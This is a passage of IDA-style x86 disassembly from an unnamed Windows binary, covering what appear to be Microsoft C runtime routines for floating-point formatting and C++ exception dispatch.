		add	edi, eax


loc_421B6F:				; CODE XREF: sub_421ADD+8Ej
		test	ebx, ebx
		jle	short loc_421BB4
		push	1
		push	edi
		call	sub_421CF1
		mov	al, byte_43C508
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_421BB4
		cmp	byte_4DB310, 0
		jz	short loc_421B99
		neg	esi
		jmp	short loc_421B9F
; ---------------------------------------------------------------------------


loc_421B99:				; CODE XREF: sub_421ADD+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_421BA1


loc_421B9F:				; CODE XREF: sub_421ADD+BAj
		mov	ebx, esi


loc_421BA1:				; CODE XREF: sub_421ADD+C0j
		push	ebx
		push	edi
		call	sub_421CF1
		push	ebx
		push	30h
		push	edi
		call	sub_41B590
		add	esp, 14h


loc_421BB4:				; CODE XREF: sub_421ADD+94j
					; sub_421ADD+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_421ADD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421BBB	proc near		; CODE XREF: sub_421CA0+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_4245E9
		mov	dword_4DB30C, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_4DB314, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_424572
		mov	eax, dword_4DB30C
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_4DB314, ecx
		setl	cl
		mov	byte_4DB318, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_4DB314, eax
		jl	short loc_421C41
		cmp	eax, ebx
		jge	short loc_421C41
		test	cl, cl
		jz	short loc_421C32


loc_421C28:				; CODE XREF: sub_421BBB+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_421C28
		and	[esi-2], al


loc_421C32:				; CODE XREF: sub_421BBB+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421C7D
		add	esp, 0Ch
		jmp	short loc_421C51
; ---------------------------------------------------------------------------


loc_421C41:				; CODE XREF: sub_421BBB+63j
					; sub_421BBB+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421C56
		add	esp, 10h


loc_421C51:				; CODE XREF: sub_421BBB+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_421BBB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C56	proc near		; CODE XREF: sub_421BBB+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_4DB310, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_4219D9
		and	byte_4DB310, 0
		add	esp, 10h
		retn
sub_421C56	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C7D	proc near		; CODE XREF: sub_421BBB+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_4DB310, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_421ADD
		and	byte_4DB310, 0
		add	esp, 0Ch
		retn
sub_421C7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421CA0	proc near		; CODE XREF: sub_41F69F+3AAp
					; DATA XREF: sub_41C760o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_421CDB
		cmp	[ebp+arg_8], 45h
		jz	short loc_421CDB
		cmp	[ebp+arg_8], 66h
		jnz	short loc_421CC8
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421ADD
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421CC8:				; CODE XREF: sub_421CA0+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421BBB
		jmp	short loc_421CEC
; ---------------------------------------------------------------------------


loc_421CDB:				; CODE XREF: sub_421CA0+7j
					; sub_421CA0+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4219D9


loc_421CEC:				; CODE XREF: sub_421CA0+39j
		add	esp, 10h
		pop	ebp
		retn
sub_421CA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_421CF1	proc near		; CODE XREF: sub_4219D9+2Cp
					; sub_421ADD+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_421D14
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_41CC90
		add	esp, 10h
		pop	esi


loc_421D14:				; CODE XREF: sub_421CF1+7j
		pop	edi
		retn
sub_421CF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421D16	proc near		; CODE XREF: ___:0041C940p
					; sub_41C9A9+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_421D2C
		call	sub_4225B2


loc_421D2C:				; CODE XREF: sub_421D16+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_421D54
		cmp	dword ptr [esi+4], 0
		jz	short loc_421DAA
		cmp	[ebp+arg_14], 0
		jnz	short loc_421DAA
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_42205D
		add	esp, 10h
		jmp	short loc_421DAA
; ---------------------------------------------------------------------------


loc_421D54:				; CODE XREF: sub_421D16+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_421DAA
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_421D8E
		cmp	[eax+14h], edi
		jbe	short loc_421D8E
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_421D8E
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_421DAD
; ---------------------------------------------------------------------------


loc_421D8E:				; CODE XREF: sub_421D16+4Aj
					; sub_421D16+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_421DB1
		add	esp, 20h


loc_421DAA:				; CODE XREF: sub_421D16+23j
					; sub_421D16+29j ...
		push	1
		pop	eax


loc_421DAD:				; CODE XREF: sub_421D16+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_421D16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421DB1	proc near		; CODE XREF: sub_421D16+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_421DD1
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_421DD6


loc_421DD1:				; CODE XREF: sub_421DB1+16j
		call	sub_4225B2


loc_421DD6:				; CODE XREF: sub_421DB1+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421E4A
		cmp	[esi+14h], edi
		jnz	short loc_421E4A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421E4A
		mov	esi, dword_4DB31C
		test	esi, esi
		jz	loc_421F28
		mov	eax, dword_4DB320
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_424770
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_421E2C
		call	sub_4225B2


loc_421E2C:				; CODE XREF: sub_421DB1+74j
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421E4A
		cmp	[esi+14h], edi
		jnz	short loc_421E4A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421E4A
		call	sub_4225B2


loc_421E4A:				; CODE XREF: sub_421DB1+41j
					; sub_421DB1+46j ...
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	loc_421F2D
		cmp	[esi+14h], edi
		jnz	loc_421F2D
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41CAF7
		add	esp, 14h
		mov	ebx, eax


loc_421E81:				; CODE XREF: sub_421DB1+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_421F18
		cmp	[ebx], edi
		jg	short loc_421F0D
		cmp	edi, [ebx+4]
		jg	short loc_421F0D
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_421F0A


loc_421EA6:				; CODE XREF: sub_421DB1+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_421ED7


loc_421EB8:				; CODE XREF: sub_421DB1+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_422000
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421EE6
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_421EB8


loc_421ED7:				; CODE XREF: sub_421DB1+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_421EA6
		jmp	short loc_421F0A
; ---------------------------------------------------------------------------


loc_421EE6:				; CODE XREF: sub_421DB1+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_422111
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_421F0A:				; CODE XREF: sub_421DB1+F3j
					; sub_421DB1+133j
		mov	edi, [ebp+var_10]


loc_421F0D:				; CODE XREF: sub_421DB1+DEj
					; sub_421DB1+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_421E81
; ---------------------------------------------------------------------------


loc_421F18:				; CODE XREF: sub_421DB1+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_421F28
		push	1
		push	esi
		call	sub_422486
		pop	ecx
		pop	ecx


loc_421F28:				; CODE XREF: sub_421DB1+56j
					; sub_421DB1+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_421F2D:				; CODE XREF: sub_421DB1+37j
					; sub_421DB1+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_421F53
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_421F58
		add	esp, 20h
		jmp	short loc_421F28
; ---------------------------------------------------------------------------


loc_421F53:				; CODE XREF: sub_421DB1+180j
		jmp	sub_42255C
sub_421DB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421F58	proc near		; CODE XREF: sub_421DB1+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_4DB324, 0
		push	esi
		push	edi
		jz	short loc_421F89
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41C9CE
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_421FFC


loc_421F89:				; CODE XREF: sub_421F58+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41CAF7
		add	esp, 14h
		mov	esi, eax


loc_421FA5:				; CODE XREF: sub_421F58+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_421FFC
		cmp	edi, [esi]
		jl	short loc_421FF4
		cmp	edi, [esi+4]
		jg	short loc_421FF4
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_421FCE
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_421FF4


loc_421FCE:				; CODE XREF: sub_421F58+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_422111
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_421FF4:				; CODE XREF: sub_421F58+57j
					; sub_421F58+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_421FA5
; ---------------------------------------------------------------------------


loc_421FFC:				; CODE XREF: sub_421F58+2Fj
					; sub_421F58+53j
		pop	edi
		pop	esi
		leave
		retn
sub_421F58	endp


; =============== S U B	R O U T	I N E =======================================



sub_422000	proc near		; CODE XREF: sub_421DB1+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_422057
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_422057
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_422031
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_422053


loc_422031:				; CODE XREF: sub_422000+1Fj
		test	byte ptr [esi],	2
		jz	short loc_42203B
		test	byte ptr [edi],	8
		jz	short loc_422053


loc_42203B:				; CODE XREF: sub_422000+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_42204A
		test	byte ptr [edi],	1
		jz	short loc_422053


loc_42204A:				; CODE XREF: sub_422000+43j
		test	al, 2
		jz	short loc_422057
		test	byte ptr [edi],	2
		jnz	short loc_422057


loc_422053:				; CODE XREF: sub_422000+2Fj
					; sub_422000+39j ...
		xor	eax, eax
		jmp	short loc_42205A
; ---------------------------------------------------------------------------


loc_422057:				; CODE XREF: sub_422000+Bj
					; sub_422000+14j ...
		push	1
		pop	eax


loc_42205A:				; CODE XREF: sub_422000+55j
		pop	edi
		pop	esi
		retn
sub_422000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42205D	proc near		; CODE XREF: sub_421D16+34p
					; ___:00422153p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278C8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_42208F:				; CODE XREF: sub_42205D+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_4220E9
		cmp	esi, 0FFFFFFFFh
		jle	short loc_42209E
		cmp	esi, [edi+4]
		jl	short loc_4220A3


loc_42209E:				; CODE XREF: sub_42205D+3Aj
		call	sub_4225B2


loc_4220A3:				; CODE XREF: sub_42205D+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_4220BE
		push	103h
		push	ebx
		push	eax
		call	sub_422510


loc_4220BE:				; CODE XREF: sub_42205D+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4220DE
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_4220FB
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_4220DE:				; CODE XREF: sub_42205D+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_42208F
; ---------------------------------------------------------------------------


loc_4220E9:				; CODE XREF: sub_42205D+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42205D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4220FB	proc near		; CODE XREF: sub_42205D+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_42210C
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42210C:				; CODE XREF: sub_4220FB+Cj
		jmp	sub_42255C
sub_4220FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_422111	proc near		; CODE XREF: sub_421DB1+151p
					; sub_421F58+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_422133
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_4222C2
		add	esp, 10h


loc_422133:				; CODE XREF: sub_422111+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_42213F
		push	edi
		jmp	short loc_422142
; ---------------------------------------------------------------------------


loc_42213F:				; CODE XREF: sub_422111+29j
		push	[ebp+arg_24]


loc_422142:				; CODE XREF: sub_422111+2Cj
		call	sub_41C8D0
sub_422111	endp

; ---------------------------------------------------------------------------
		mov	esi, [ebp+24h]
		push	dword ptr [esi]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	edi
		call	sub_42205D
		mov	eax, [esi+4]
		push	100h
		push	dword ptr [ebp+28h]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+10h]
		push	edi
		push	dword ptr [ebp+8]
		call	sub_42218C
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_422187
		push	edi
		push	eax
		call	sub_41C88E


loc_422187:				; CODE XREF: ___:0042217Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42218C	proc near		; CODE XREF: ___:00422174p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278D8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_4DB31C
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_4DB320
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_4DB31C, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_4DB320, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_41C955
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_422252
		mov	eax, [ebp+var_2C]


loc_422219:				; CODE XREF: sub_422232+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42218C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422228	proc near		; DATA XREF: ___:004278E8o
		push	dword ptr [ebp-14h]
		call	sub_422298
		pop	ecx
		retn
sub_422228	endp


; =============== S U B	R O U T	I N E =======================================



sub_422232	proc near		; DATA XREF: ___:004278ECo
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_41CBB6
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_422219
sub_422232	endp

; ---------------------------------------------------------------------------


loc_42224A:				; DATA XREF: ___:004278E0o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_422252	proc near		; CODE XREF: sub_42218C+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_4DB31C, eax
		mov	eax, [ebp-20h]
		mov	dword_4DB320, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_422297
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_422297
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_422297
		cmp	[ebp-24h], ebx
		jnz	short locret_422297
		cmp	[ebp-2Ch], ebx
		jz	short locret_422297
		call	sub_41CC1E
		push	eax
		push	edi
		call	sub_422486
		pop	ecx
		pop	ecx

locret_422297:				; CODE XREF: sub_422252+1Cj
					; sub_422252+22j ...
		retn
sub_422252	endp


; =============== S U B	R O U T	I N E =======================================



sub_422298	proc near		; CODE XREF: sub_422228+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_4222BF
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_4222BF
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_4222BF
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_4222BF
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4222BF:				; CODE XREF: sub_422298+Cj
					; sub_422298+12j ...
		xor	eax, eax
		retn
sub_422298	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4222C2	proc near		; CODE XREF: sub_422111+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278F0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_42246B
		cmp	byte ptr [eax+8], 0
		jz	loc_42246B
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_42246B
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_42235F
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_422350:				; CODE XREF: sub_4222C2+F5j
		push	eax
		call	sub_4224ED
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_422467
; ---------------------------------------------------------------------------


loc_42235F:				; CODE XREF: sub_4222C2+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_4223B9
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_41CC90
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_422467
		mov	eax, [edi]
		test	eax, eax
		jz	loc_422467
		add	esi, 8
		push	esi
		jmp	short loc_422350
; ---------------------------------------------------------------------------


loc_4223B9:				; CODE XREF: sub_4222C2+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_422401
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_41CC90
		add	esp, 0Ch
		jmp	short loc_422467
; ---------------------------------------------------------------------------


loc_422401:				; CODE XREF: sub_4222C2+103j
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	dword ptr [esi+18h]
		call	sub_4247A8
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		test	byte ptr [esi],	4
		jz	short loc_422448
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
